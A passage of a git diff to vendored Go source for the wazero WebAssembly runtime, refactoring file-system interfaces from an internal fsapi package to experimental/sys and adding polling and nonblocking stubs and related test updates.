experimentalsys.UnwrapOSError(err) @@ -44,13 +43,16 @@ type noopStdinFile struct { noopStdioFile } -// Read implements the same method as documented on fsapi.File +// Read implements the same method as documented on sys.File func (noopStdinFile) Read([]byte) (int, experimentalsys.Errno) { return 0, 0 // Always EOF } -// PollRead implements the same method as documented on fsapi.File -func (noopStdinFile) PollRead(*time.Duration) (ready bool, errno experimentalsys.Errno) { +// Poll implements the same method as documented on fsapi.File +func (noopStdinFile) Poll(flag fsapi.Pflag, timeoutMillis int32) (ready bool, errno experimentalsys.Errno) { + if flag != fsapi.POLLIN { + return false, experimentalsys.ENOTSUP + } return true, 0 // always ready to read nothing } @@ -60,28 +62,43 @@ type noopStdoutFile struct { noopStdioFile } -// Write implements the same method as documented on fsapi.File +// Write implements the same method as documented on sys.File func (noopStdoutFile) Write(buf []byte) (int, experimentalsys.Errno) { return len(buf), 0 // same as io.Discard } type noopStdioFile struct { - fsapi.UnimplementedFile + experimentalsys.UnimplementedFile } -// Stat implements the same method as documented on fsapi.File +// Stat implements the same method as documented on sys.File func (noopStdioFile) Stat() (sys.Stat_t, experimentalsys.Errno) { return sys.Stat_t{Mode: modeDevice, Nlink: 1}, 0 } -// IsDir implements the same method as documented on fsapi.File +// IsDir implements the same method as documented on sys.File func (noopStdioFile) IsDir() (bool, experimentalsys.Errno) { return false, 0 } -// Close implements the same method as documented on fsapi.File +// Close implements the same method as documented on sys.File func (noopStdioFile) Close() (errno experimentalsys.Errno) { return } +// IsNonblock implements the same method as documented on fsapi.File +func (noopStdioFile) IsNonblock() bool { + return false +} + +// SetNonblock implements the same method as documented on fsapi.File +func (noopStdioFile) SetNonblock(bool) experimentalsys.Errno { + return experimentalsys.ENOSYS +} + +// Poll implements the same method as documented on fsapi.File +func (noopStdioFile) Poll(fsapi.Pflag, int32) (ready bool, errno experimentalsys.Errno) { + return false, experimentalsys.ENOSYS +} + func stdinFileEntry(r io.Reader) (*FileEntry, error) { if r == nil { return &FileEntry{Name: "stdin", IsPreopen: true, File: &noopStdinFile{}}, nil diff --git a/vendor/github.com/tetratelabs/wazero/internal/sys/sys.go b/vendor/github.com/tetratelabs/wazero/internal/sys/sys.go index aedd7c7035..12279ee495 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sys/sys.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sys/sys.go @@ -7,7 +7,7 @@ import ( "net" "time" - "github.com/tetratelabs/wazero/internal/fsapi" + experimentalsys "github.com/tetratelabs/wazero/experimental/sys" "github.com/tetratelabs/wazero/internal/platform" "github.com/tetratelabs/wazero/sys" ) @@ -110,11 +110,11 @@ func (c *Context) RandSource() io.Reader { } // DefaultContext returns Context with no values set except a possible nil -// fsapi.FS. +// sys.FS. // // Note: This is only used for testing. -func DefaultContext(fs fsapi.FS) *Context { - if sysCtx, err := NewContext(0, nil, nil, nil, nil, nil, nil, nil, 0, nil, 0, nil, nil, []fsapi.FS{fs}, []string{""}, nil); err != nil { +func DefaultContext(fs experimentalsys.FS) *Context { + if sysCtx, err := NewContext(0, nil, nil, nil, nil, nil, nil, nil, 0, nil, 0, nil, nil, []experimentalsys.FS{fs}, []string{""}, nil); err != nil { panic(fmt.Errorf("BUG: DefaultContext should never error: %w", err)) } else { return sysCtx @@ -135,7 +135,7 @@ func NewContext( nanotimeResolution sys.ClockResolution, nanosleep sys.Nanosleep, osyield sys.Osyield, - fs []fsapi.FS, guestPaths []string, + fs []experimentalsys.FS, guestPaths []string, tcpListeners []*net.TCPListener, ) (sysCtx *Context, err error) { sysCtx = &Context{args: args, environ: environ} diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/adapter.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/adapter.go index 75d70888c8..51a9a54804 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/adapter.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/adapter.go @@ -6,45 +6,39 @@ import ( "path" experimentalsys "github.com/tetratelabs/wazero/experimental/sys" - "github.com/tetratelabs/wazero/internal/fsapi" "github.com/tetratelabs/wazero/sys" ) -// Adapt adapts the input to fsapi.FS unless it is already one. Use NewDirFS instead -// of os.DirFS as it handles interop issues such as windows support. -// -// Note: This performs no flag verification on OpenFile. fsapi.FS cannot read -// flags as there is no parameter to pass them through with. Moreover, fsapi.FS -// documentation does not require the file to be present. In summary, we can't -// enforce flag behavior. -func Adapt(fs fs.FS) fsapi.FS { - if fs == nil { - return fsapi.UnimplementedFS{} - } - if sys, ok := fs.(fsapi.FS); ok { - return sys - } - return &adapter{fs: fs} +type AdaptFS struct { + FS fs.FS } -type adapter struct { - fsapi.UnimplementedFS - fs fs.FS +// String implements fmt.Stringer +func (a *AdaptFS) String() string { + return fmt.Sprintf("%v", a.FS) } -// String implements fmt.Stringer -func (a *adapter) String() string { - return fmt.Sprintf("%v", a.fs) +// OpenFile implements the same method as documented on sys.FS +func (a *AdaptFS) OpenFile(path string, flag experimentalsys.Oflag, perm fs.FileMode) (experimentalsys.File, experimentalsys.Errno) { + return OpenFSFile(a.FS, cleanPath(path), flag, perm) } -// OpenFile implements the same method as documented on fsapi.FS -func (a *adapter) OpenFile(path string, flag fsapi.Oflag, perm fs.FileMode) (fsapi.File, experimentalsys.Errno) { - return OpenFSFile(a.fs, cleanPath(path), flag, perm) +// Lstat implements the same method as documented on sys.FS +func (a *AdaptFS) Lstat(path string) (sys.Stat_t, experimentalsys.Errno) { + // At this time, we make the assumption sys.FS instances do not support + // symbolic links, therefore Lstat is the same as Stat. This is obviously + // not true, but until FS.FS has a solid story for how to handle symlinks, + // we are better off not making a decision that would be difficult to + // revert later on. + // + // For further discussions on the topic, see: + // https://github.com/golang/go/issues/49580 + return a.Stat(path) } -// Stat implements the same method as documented on fsapi.FS -func (a *adapter) Stat(path string) (sys.Stat_t, experimentalsys.Errno) { - f, errno := a.OpenFile(path, fsapi.O_RDONLY, 0) +// Stat implements the same method as documented on sys.FS +func (a *AdaptFS) Stat(path string) (sys.Stat_t, experimentalsys.Errno) { + f, errno := a.OpenFile(path, experimentalsys.O_RDONLY, 0) if errno != 0 { return sys.Stat_t{}, errno } @@ -52,17 +46,49 @@ func (a *adapter) Stat(path string) (sys.Stat_t, experimentalsys.Errno) { return f.Stat() } -// Lstat implements the same method as documented on fsapi.FS -func (a *adapter) Lstat(path string) (sys.Stat_t, experimentalsys.Errno) { - // At this time, we make the assumption that fsapi.FS instances do not support - // symbolic links, therefore Lstat is the same as Stat. This is obviously - // not true but until fsapi.FS has a solid story for how to handle symlinks we - // are better off not making a decision that would be difficult to revert - // later on. - // - // For further discussions on the topic, see: - // https://github.com/golang/go/issues/49580 - return a.Stat(path) +// Readlink implements the same method as documented on sys.FS +func (a *AdaptFS) Readlink(string) (string, experimentalsys.Errno) { + return "", experimentalsys.ENOSYS +} + +// Mkdir implements the same method as documented on sys.FS +func (a *AdaptFS) Mkdir(string, fs.FileMode) experimentalsys.Errno { + return experimentalsys.ENOSYS +} + +// Chmod implements the same method as documented on sys.FS +func (a *AdaptFS) Chmod(string, fs.FileMode) experimentalsys.Errno { + return experimentalsys.ENOSYS +} + +// Rename implements the same method as documented on sys.FS +func (a *AdaptFS) Rename(string, string) experimentalsys.Errno { + return experimentalsys.ENOSYS +} + +// Rmdir implements the same method as documented on sys.FS +func (a *AdaptFS) Rmdir(string) experimentalsys.Errno { + return experimentalsys.ENOSYS +} + +// Link implements the same method as documented on sys.FS +func (a *AdaptFS) Link(string, string) experimentalsys.Errno { + return experimentalsys.ENOSYS +} + +// Symlink implements the same method as documented on sys.FS +func (a *AdaptFS) Symlink(string, string) experimentalsys.Errno { + return experimentalsys.ENOSYS +} + +// Unlink implements the same method as documented on sys.FS +func (a *AdaptFS) Unlink(string) experimentalsys.Errno { + return experimentalsys.ENOSYS +} + +// Utimens implements the same method as documented on sys.FS +func (a *AdaptFS) Utimens(string, int64, int64) experimentalsys.Errno { + return experimentalsys.ENOSYS } func cleanPath(name string) string { diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/dir.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/dir.go index 5a217394b3..f9823287cf 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/dir.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/dir.go @@ -4,15 +4,14 @@ import ( "io" "github.com/tetratelabs/wazero/experimental/sys" - "github.com/tetratelabs/wazero/internal/fsapi" ) -func adjustReaddirErr(f fsapi.File, isClosed bool, err error) sys.Errno { +func adjustReaddirErr(f sys.File, isClosed bool, err error) sys.Errno { if err == io.EOF { return 0 // e.g. Readdir on darwin returns io.EOF, but linux doesn't. } else if errno := sys.UnwrapOSError(err); errno != 0 { errno = dirError(f, isClosed, errno) - // Comply with errors allowed on fsapi.File Readdir + // Comply with errors allowed on sys.File Readdir switch errno { case sys.EINVAL: // os.File Readdir can return this return sys.EBADF diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/dirfs.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/dirfs.go index c908d6c550..05d5b647ea 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/dirfs.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/dirfs.go @@ -3,15 +3,13 @@ package sysfs import ( "io/fs" "os" - "syscall" experimentalsys "github.com/tetratelabs/wazero/experimental/sys" - "github.com/tetratelabs/wazero/internal/fsapi" "github.com/tetratelabs/wazero/internal/platform" "github.com/tetratelabs/wazero/sys" ) -func NewDirFS(dir string) fsapi.FS { +func DirFS(dir string) experimentalsys.FS { return &dirFS{ dir: dir, cleanedDir: ensureTrailingPathSeparator(dir), @@ -25,8 +23,11 @@ func ensureTrailingPathSeparator(dir string) string { return dir } +// dirFS is not exported because the input fields must be maintained together. +// This is likely why os.DirFS doesn't, either! type dirFS struct { - fsapi.UnimplementedFS + experimentalsys.UnimplementedFS + dir string // cleanedDir is for easier OS-specific concatenation, as it always has // a trailing path separator. @@ -38,22 +39,22 @@ func (d *dirFS) String() string { return d.dir } -// OpenFile implements the same method as documented on fsapi.FS -func (d *dirFS) OpenFile(path string, flag fsapi.Oflag, perm fs.FileMode) (fsapi.File, experimentalsys.Errno) { +// OpenFile implements the same method as documented on sys.FS +func (d *dirFS) OpenFile(path string, flag experimentalsys.Oflag, perm fs.FileMode) (experimentalsys.File, experimentalsys.Errno) { return OpenOSFile(d.join(path), flag, perm) } -// Lstat implements the same method as documented on fsapi.FS +// Lstat implements the same method as documented on sys.FS func (d *dirFS) Lstat(path string) (sys.Stat_t, experimentalsys.Errno) { return lstat(d.join(path)) } -// Stat implements the same method as documented on fsapi.FS +// Stat implements the same method as documented on sys.FS func (d *dirFS) Stat(path string) (sys.Stat_t, experimentalsys.Errno) { return stat(d.join(path)) } -// Mkdir implements the same method as documented on fsapi.FS +// Mkdir implements the same method as documented on sys.FS func (d *dirFS) Mkdir(path string, perm fs.FileMode) (errno experimentalsys.Errno) { err := os.Mkdir(d.join(path), perm) if errno = experimentalsys.UnwrapOSError(err); errno == experimentalsys.ENOTDIR { @@ -62,19 +63,19 @@ func (d *dirFS) Mkdir(path string, perm fs.FileMode) (errno experimentalsys.Errn return } -// Chmod implements the same method as documented on fsapi.FS +// Chmod implements the same method as documented on sys.FS func (d *dirFS) Chmod(path string, perm fs.FileMode) experimentalsys.Errno { err := os.Chmod(d.join(path), perm) return experimentalsys.UnwrapOSError(err) } -// Rename implements the same method as documented on fsapi.FS +// Rename implements the same method as documented on sys.FS func (d *dirFS) Rename(from, to string) experimentalsys.Errno { from, to = d.join(from), d.join(to) return rename(from, to) } -// Readlink implements the same method as documented on fsapi.FS +// Readlink implements the same method as documented on sys.FS func (d *dirFS) Readlink(path string) (string, experimentalsys.Errno) { // Note: do not use syscall.Readlink as that causes race on Windows. // In any case, syscall.Readlink does almost the same logic as os.Readlink. @@ -85,28 +86,23 @@ func (d *dirFS) Readlink(path string) (string, experimentalsys.Errno) { return platform.ToPosixPath(dst), 0 } -// Link implements the same method as documented on fsapi.FS +// Link implements the same method as documented on sys.FS func (d *dirFS) Link(oldName, newName string) experimentalsys.Errno { err := os.Link(d.join(oldName), d.join(newName)) return experimentalsys.UnwrapOSError(err) } -// Rmdir implements the same method as documented on fsapi.FS +// Rmdir implements the same method as documented on sys.FS func (d *dirFS) Rmdir(path string) experimentalsys.Errno { return rmdir(d.join(path)) } -func rmdir(path string) experimentalsys.Errno { - err := syscall.Rmdir(path) - return experimentalsys.UnwrapOSError(err) -} - -// Unlink implements the same method as documented on fsapi.FS +// Unlink implements the same method as documented on sys.FS func (d *dirFS) Unlink(path string) (err experimentalsys.Errno) { return unlink(d.join(path)) } -// Symlink implements the same method as documented on fsapi.FS +// Symlink implements the same method as documented on sys.FS func (d *dirFS) Symlink(oldName, link string) experimentalsys.Errno { // Note: do not resolve `oldName` relative to this dirFS. The link result is always resolved // when dereference the `link` on its usage (e.g. readlink, read, etc). @@ -115,9 +111,9 @@ func (d *dirFS) Symlink(oldName, link string) experimentalsys.Errno { return experimentalsys.UnwrapOSError(err) } -// Utimens implements the same method as documented on fsapi.FS -func (d *dirFS) Utimens(path string, times *[2]syscall.Timespec) experimentalsys.Errno { - return Utimens(d.join(path), times) +// Utimens implements the same method as documented on sys.FS +func (d *dirFS) Utimens(path string, atim, mtim int64) experimentalsys.Errno { + return utimens(d.join(path), atim, mtim) } func (d *dirFS) join(path string) string { diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/file.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/file.go index b3285cab65..9a77205bb5 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/file.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/file.go @@ -4,6 +4,7 @@ import ( "io" "io/fs" "os" + "time" experimentalsys "github.com/tetratelabs/wazero/experimental/sys" "github.com/tetratelabs/wazero/internal/fsapi" @@ -20,11 +21,11 @@ func NewStdioFile(stdin bool, f fs.File) (fsapi.File, error) { } else { mode = st.Mode() } - var flag fsapi.Oflag + var flag experimentalsys.Oflag if stdin { - flag = fsapi.O_RDONLY + flag = experimentalsys.O_RDONLY } else { - flag = fsapi.O_WRONLY + flag = experimentalsys.O_WRONLY } var file fsapi.File if of, ok := f.(*os.File); ok { @@ -36,14 +37,14 @@ func NewStdioFile(stdin bool, f fs.File) (fsapi.File, error) { return &stdioFile{File: file, st: sys.Stat_t{Mode: mode, Nlink: 1}}, nil } -func OpenFile(path string, flag fsapi.Oflag, perm fs.FileMode) (*os.File, experimentalsys.Errno) { - if flag&fsapi.O_DIRECTORY != 0 && flag&(fsapi.O_WRONLY|fsapi.O_RDWR) != 0 { +func OpenFile(path string, flag experimentalsys.Oflag, perm fs.FileMode) (*os.File, experimentalsys.Errno) { + if flag&experimentalsys.O_DIRECTORY != 0 && flag&(experimentalsys.O_WRONLY|experimentalsys.O_RDWR) != 0 { return nil, experimentalsys.EISDIR // invalid to open a directory writeable } return openFile(path, flag, perm) } -func OpenOSFile(path string, flag fsapi.Oflag, perm fs.FileMode) (fsapi.File, experimentalsys.Errno) { +func OpenOSFile(path string, flag experimentalsys.Oflag, perm fs.FileMode) (experimentalsys.File, experimentalsys.Errno) { f, errno := OpenFile(path, flag, perm) if errno != 0 { return nil, errno @@ -51,8 +52,8 @@ func OpenOSFile(path string, flag fsapi.Oflag, perm fs.FileMode) (fsapi.File, ex return newOsFile(path, flag, perm, f), 0 } -func OpenFSFile(fs fs.FS, path string, flag fsapi.Oflag, perm fs.FileMode) (fsapi.File, experimentalsys.Errno) { - if flag&fsapi.O_DIRECTORY != 0 && flag&(fsapi.O_WRONLY|fsapi.O_RDWR) != 0 { +func OpenFSFile(fs fs.FS, path string, flag experimentalsys.Oflag, perm fs.FileMode) (experimentalsys.File, experimentalsys.Errno) { + if flag&experimentalsys.O_DIRECTORY != 0 && flag&(experimentalsys.O_WRONLY|experimentalsys.O_RDWR) != 0 { return nil, experimentalsys.EISDIR // invalid to open a directory writeable } f, err := fs.Open(path) @@ -60,7 +61,7 @@ func OpenFSFile(fs fs.FS, path string, flag fsapi.Oflag, perm fs.FileMode) (fsap return nil, errno } // Don't return an os.File because the path is not absolute. osFile needs - // the path to be real and certain fs.File impls are subrooted. + // the path to be real and certain FS.File impls are subrooted. return &fsFile{fs: fs, name: path, file: f}, 0 } @@ -94,7 +95,7 @@ func (f *stdioFile) Close() experimentalsys.Errno { // implementation. Notably, this does not have access to the full file path. // so certain operations can't be supported, such as inode lookups on Windows. type fsFile struct { - fsapi.UnimplementedFile + experimentalsys.UnimplementedFile // fs is the file-system that opened the file, or nil when wrapped for // pre-opens like stdio. @@ -120,17 +121,17 @@ type fsFile struct { } type cachedStat struct { - // dev is the same as fsapi.Stat_t Dev. + // dev is the same as sys.Stat_t Dev. dev uint64 - // dev is the same as fsapi.Stat_t Ino. + // dev is the same as sys.Stat_t Ino. ino sys.Inode - // isDir is fsapi.Stat_t Mode masked with fs.ModeDir + // isDir is sys.Stat_t Mode masked with fs.ModeDir isDir bool } -// cachedStat returns the cacheable parts of fsapi.Stat_t or an error if they +// cachedStat returns the cacheable parts of sys.Stat_t or an error if they // couldn't be retrieved. func (f *fsFile) cachedStat() (dev uint64, ino sys.Inode, isDir bool, errno experimentalsys.Errno) { if f.cachedSt == nil { @@ -141,35 +142,35 @@ func (f *fsFile) cachedStat() (dev uint64, ino sys.Inode, isDir bool, errno expe return f.cachedSt.dev, f.cachedSt.ino, f.cachedSt.isDir, 0 } -// Dev implements the same method as documented on fsapi.File +// Dev implements the same method as documented on sys.File func (f *fsFile) Dev() (uint64, experimentalsys.Errno) { dev, _, _, errno := f.cachedStat() return dev, errno } -// Ino implements the same method as documented on fsapi.File +// Ino implements the same method as documented on sys.File func (f *fsFile) Ino() (sys.Inode, experimentalsys.Errno) { _, ino, _, errno := f.cachedStat() return ino, errno } -// IsDir implements the same method as documented on fsapi.File +// IsDir implements the same method as documented on sys.File func (f *fsFile) IsDir() (bool, experimentalsys.Errno) { _, _, isDir, errno := f.cachedStat() return isDir, errno } -// IsAppend implements the same method as documented on fsapi.File +// IsAppend implements the same method as documented on sys.File func (f *fsFile) IsAppend() bool { return false } -// SetAppend implements the same method as documented on fsapi.File +// SetAppend implements the same method as documented on sys.File func (f *fsFile) SetAppend(bool) (errno experimentalsys.Errno) { return fileError(f, f.closed, experimentalsys.ENOSYS) } -// Stat implements the same method as documented on fsapi.File +// Stat implements the same method as documented on sys.File func (f *fsFile) Stat() (sys.Stat_t, experimentalsys.Errno) { if f.closed { return sys.Stat_t{}, experimentalsys.EBADF @@ -185,7 +186,7 @@ func (f *fsFile) Stat() (sys.Stat_t, experimentalsys.Errno) { return st, errno } -// Read implements the same method as documented on fsapi.File +// Read implements the same method as documented on sys.File func (f *fsFile) Read(buf []byte) (n int, errno experimentalsys.Errno) { if n, errno = read(f.file, buf); errno != 0 { // Defer validation overhead until we've already had an error. @@ -194,7 +195,7 @@ func (f *fsFile) Read(buf []byte) (n int, errno experimentalsys.Errno) { return } -// Pread implements the same method as documented on fsapi.File +// Pread implements the same method as documented on sys.File func (f *fsFile) Pread(buf []byte, off int64) (n int, errno experimentalsys.Errno) { if ra, ok := f.file.(io.ReaderAt); ok { if n, errno = pread(ra, buf, off); errno != 0 { @@ -233,7 +234,7 @@ func (f *fsFile) Pread(buf []byte, off int64) (n int, errno experimentalsys.Errn return } -// Seek implements the same method as documented on fsapi.File +// Seek implements the same method as documented on sys.File func (f *fsFile) Seek(offset int64, whence int) (newOffset int64, errno experimentalsys.Errno) { // If this is a directory, and we're attempting to seek to position zero, // we have to re-open the file to ensure the directory state is reset. @@ -256,12 +257,12 @@ func (f *fsFile) Seek(offset int64, whence int) (newOffset int64, errno experime return } -// Readdir implements the same method as documented on fsapi.File +// Readdir implements the same method as documented on sys.File // // Notably, this uses readdirFile or fs.ReadDirFile if available. This does not // return inodes on windows. -func (f *fsFile) Readdir(n int) (dirents []fsapi.Dirent, errno experimentalsys.Errno) { - // Windows lets you Readdir after close, fs.File also may not implement +func (f *fsFile) Readdir(n int) (dirents []experimentalsys.Dirent, errno experimentalsys.Errno) { + // Windows lets you Readdir after close, FS.File also may not implement // close in a meaningful way. read our closed field to return consistent // results. if f.closed { @@ -277,7 +278,7 @@ func (f *fsFile) Readdir(n int) (dirents []fsapi.Dirent, errno experimentalsys.E } if of, ok := f.file.(readdirFile); ok { - // We can't use f.name here because it is the path up to the fsapi.FS, + // We can't use f.name here because it is the path up to the sys.FS, // not necessarily the real path. For this reason, Windows may not be // able to populate inodes. However, Darwin and Linux will. if dirents, errno = readdir(of, "", n); errno != 0 { @@ -286,17 +287,17 @@ func (f *fsFile) Readdir(n int) (dirents []fsapi.Dirent, errno experimentalsys.E return } - // Try with fs.ReadDirFile which is available on api.FS implementations - // like embed:fs. + // Try with FS.ReadDirFile which is available on api.FS implementations + // like embed:FS. if rdf, ok := f.file.(fs.ReadDirFile); ok { entries, e := rdf.ReadDir(n) if errno = adjustReaddirErr(f, f.closed, e); errno != 0 { return } - dirents = make([]fsapi.Dirent, 0, len(entries)) + dirents = make([]experimentalsys.Dirent, 0, len(entries)) for _, e := range entries { // By default, we don't attempt to read inode data - dirents = append(dirents, fsapi.Dirent{Name: e.Name(), Type: e.Type()}) + dirents = append(dirents, experimentalsys.Dirent{Name: e.Name(), Type: e.Type()}) } } else { errno = experimentalsys.EBADF // not a directory @@ -304,7 +305,7 @@ func (f *fsFile) Readdir(n int) (dirents []fsapi.Dirent, errno experimentalsys.E return } -// Write implements the same method as documented on fsapi.File. +// Write implements the same method as documented on sys.File. func (f *fsFile) Write(buf []byte) (n int, errno experimentalsys.Errno) { if w, ok := f.file.(io.Writer); ok { if n, errno = write(w, buf); errno != 0 { @@ -317,7 +318,7 @@ func (f *fsFile) Write(buf []byte) (n int, errno experimentalsys.Errno) { return } -// Pwrite implements the same method as documented on fsapi.File. +// Pwrite implements the same method as documented on sys.File. func (f *fsFile) Pwrite(buf []byte, off int64) (n int, errno experimentalsys.Errno) { if wa, ok := f.file.(io.WriterAt); ok { if n, errno = pwrite(wa, buf, off); errno != 0 { @@ -330,7 +331,7 @@ func (f *fsFile) Pwrite(buf []byte, off int64) (n int, errno experimentalsys.Err return } -// Close implements the same method as documented on fsapi.File. +// Close implements the same method as documented on sys.File. func (f *fsFile) Close() experimentalsys.Errno { if f.closed { return 0 @@ -343,8 +344,23 @@ func (f *fsFile) close() experimentalsys.Errno { return experimentalsys.UnwrapOSError(f.file.Close()) } +// IsNonblock implements the same method as documented on fsapi.File +func (f *fsFile) IsNonblock() bool { + return false +} + +// SetNonblock implements the same method as documented on fsapi.File +func (f *fsFile) SetNonblock(bool) experimentalsys.Errno { + return experimentalsys.ENOSYS +} + +// Poll implements the same method as documented on fsapi.File +func (f *fsFile) Poll(fsapi.Pflag, int32) (ready bool, errno experimentalsys.Errno) { + return false, experimentalsys.ENOSYS +} + // dirError is used for commands that work against a directory, but not a file. -func dirError(f fsapi.File, isClosed bool, errno experimentalsys.Errno) experimentalsys.Errno { +func dirError(f experimentalsys.File, isClosed bool, errno experimentalsys.Errno) experimentalsys.Errno { if vErrno := validate(f, isClosed, false, true); vErrno != 0 { return vErrno } @@ -352,7 +368,7 @@ func dirError(f fsapi.File, isClosed bool, errno experimentalsys.Errno) experime } // fileError is used for commands that work against a file, but not a directory. -func fileError(f fsapi.File, isClosed bool, errno experimentalsys.Errno) experimentalsys.Errno { +func fileError(f experimentalsys.File, isClosed bool, errno experimentalsys.Errno) experimentalsys.Errno { if vErrno := validate(f, isClosed, true, false); vErrno != 0 { return vErrno } @@ -360,7 +376,7 @@ func fileError(f fsapi.File, isClosed bool, errno experimentalsys.Errno) experim } // validate is used to making syscalls which will fail. -func validate(f fsapi.File, isClosed, wantFile, wantDir bool) experimentalsys.Errno { +func validate(f experimentalsys.File, isClosed, wantFile, wantDir bool) experimentalsys.Errno { if isClosed { return experimentalsys.EBADF } @@ -426,13 +442,13 @@ type readdirFile interface { } // readdir uses readdirFile.Readdir, special casing windows when path !="". -func readdir(f readdirFile, path string, n int) (dirents []fsapi.Dirent, errno experimentalsys.Errno) { +func readdir(f readdirFile, path string, n int) (dirents []experimentalsys.Dirent, errno experimentalsys.Errno) { fis, e := f.Readdir(n) if errno = experimentalsys.UnwrapOSError(e); errno != 0 { return } - dirents = make([]fsapi.Dirent, 0, len(fis)) + dirents = make([]experimentalsys.Dirent, 0, len(fis)) // linux/darwin won't have to fan out to lstat, but windows will. var ino sys.Inode @@ -443,7 +459,7 @@ func readdir(f readdirFile, path string, n int) (dirents []fsapi.Dirent, errno e if ino, errno = inoFromFileInfo(path, t); errno != 0 { return } - dirents = append(dirents, fsapi.Dirent{Name: t.Name(), Ino: ino, Type: t.Mode().Type()}) + dirents = append(dirents, experimentalsys.Dirent{Name: t.Name(), Ino: ino, Type: t.Mode().Type()}) } return } @@ -465,3 +481,40 @@ func pwrite(w io.WriterAt, buf []byte, off int64) (n int, errno experimentalsys. n, err := w.WriteAt(buf, off) return n, experimentalsys.UnwrapOSError(err) } + +func chtimes(path string, atim, mtim int64) (errno experimentalsys.Errno) { //nolint:unused + // When both inputs are omitted, there is nothing to change. + if atim == experimentalsys.UTIME_OMIT && mtim == experimentalsys.UTIME_OMIT { + return + } + + // UTIME_OMIT is expensive until progress is made in Go, as it requires a + // stat to read-back the value to re-apply. + // - https://github.com/golang/go/issues/32558. + // - https://go-review.googlesource.com/c/go/+/219638 (unmerged) + var st sys.Stat_t + if atim == experimentalsys.UTIME_OMIT || mtim == experimentalsys.UTIME_OMIT { + if st, errno = stat(path); errno != 0 { + return + } + } + + var atime, mtime time.Time + if atim == experimentalsys.UTIME_OMIT { + atime = epochNanosToTime(st.Atim) + mtime = epochNanosToTime(mtim) + } else if mtim == experimentalsys.UTIME_OMIT { + atime = epochNanosToTime(atim) + mtime = epochNanosToTime(st.Mtim) + } else { + atime = epochNanosToTime(atim) + mtime = epochNanosToTime(mtim) + } + return experimentalsys.UnwrapOSError(os.Chtimes(path, atime, mtime)) +} + +func epochNanosToTime(epochNanos int64) time.Time { //nolint:unused + seconds := epochNanos / 1e9 + nanos := epochNanos % 1e9 + return time.Unix(seconds, nanos) +} diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/file_test.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/file_test.go index 6023fa9b76..1b97eb860a 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/file_test.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/file_test.go @@ -9,7 +9,6 @@ import ( "runtime" "testing" gofstest "testing/fstest" - "time" experimentalsys "github.com/tetratelabs/wazero/experimental/sys" "github.com/tetratelabs/wazero/internal/fsapi" @@ -54,7 +53,7 @@ func TestRegularFileSetNonblock(t *testing.T) { defer r.Close() defer w.Close() - rF := newOsFile("", fsapi.O_RDONLY, 0, r) + rF := newOsFile("", experimentalsys.O_RDONLY, 0, r) errno := rF.SetNonblock(true) require.EqualErrno(t, 0, errno) @@ -78,13 +77,13 @@ func TestReadFdNonblock(t *testing.T) { defer w.Close() fd := r.Fd() - err = setNonblock(fd, true) - require.NoError(t, err) + errno := setNonblock(fd, true) + require.EqualErrno(t, 0, errno) // Read from the file without ever writing to it should not block. buf := make([]byte, 8) - _, e := readFd(fd, buf) - require.EqualErrno(t, experimentalsys.EAGAIN, e) + _, errno = readFd(fd, buf) + require.EqualErrno(t, experimentalsys.EAGAIN, errno) } func TestWriteFdNonblock(t *testing.T) { @@ -95,9 +94,9 @@ func TestWriteFdNonblock(t *testing.T) { defer w.Close() fd := w.Fd() - err = setNonblock(fd, true) + errno := setNonblock(fd, true) - require.NoError(t, err) + require.EqualErrno(t, 0, errno) // Create a buffer (the content is not relevant) buf := make([]byte, 1024) @@ -125,7 +124,7 @@ func TestFileSetAppend(t *testing.T) { require.NoError(t, os.WriteFile(fPath, []byte("0123456789"), 0o600)) // Open without APPEND. - f, errno := OpenOSFile(fPath, fsapi.O_RDWR, 0o600) + f, errno := OpenOSFile(fPath, experimentalsys.O_RDWR, 0o600) require.EqualErrno(t, 0, errno) require.False(t, f.IsAppend()) @@ -186,7 +185,7 @@ func TestFileIno(t *testing.T) { tc := tc t.Run(tc.name, func(t *testing.T) { - d, errno := OpenFSFile(tc.fs, ".", fsapi.O_RDONLY, 0) + d, errno := OpenFSFile(tc.fs, ".", experimentalsys.O_RDONLY, 0) require.EqualErrno(t, 0, errno) defer d.Close() @@ -200,7 +199,7 @@ func TestFileIno(t *testing.T) { } t.Run("OS", func(t *testing.T) { - d, errno := OpenOSFile(tmpDir, fsapi.O_RDONLY, 0) + d, errno := OpenOSFile(tmpDir, experimentalsys.O_RDONLY, 0) require.EqualErrno(t, 0, errno) defer d.Close() @@ -213,7 +212,7 @@ func TestFileIno(t *testing.T) { }) } -// statSetsIno returns true if this will set fsapi.Stat_t Ino on stat. The +// statSetsIno returns true if this will set sys.Stat_t Ino on stat. The // reverse doesn't mean it won't. Rather it is inconsistent. This is needed // because Windows on Go 1.18 sometimes, but not always returns non-zero inode. func statSetsIno() bool { @@ -244,7 +243,7 @@ func TestFileIsDir(t *testing.T) { t.Run(tc.name, func(t *testing.T) { t.Run("file", func(t *testing.T) { - f, errno := OpenFSFile(tc.fs, wazeroFile, fsapi.O_RDONLY, 0) + f, errno := OpenFSFile(tc.fs, wazeroFile, experimentalsys.O_RDONLY, 0) require.EqualErrno(t, 0, errno) defer f.Close() @@ -254,7 +253,7 @@ func TestFileIsDir(t *testing.T) { }) t.Run("dir", func(t *testing.T) { - d, errno := OpenFSFile(tc.fs, ".", fsapi.O_RDONLY, 0) + d, errno := 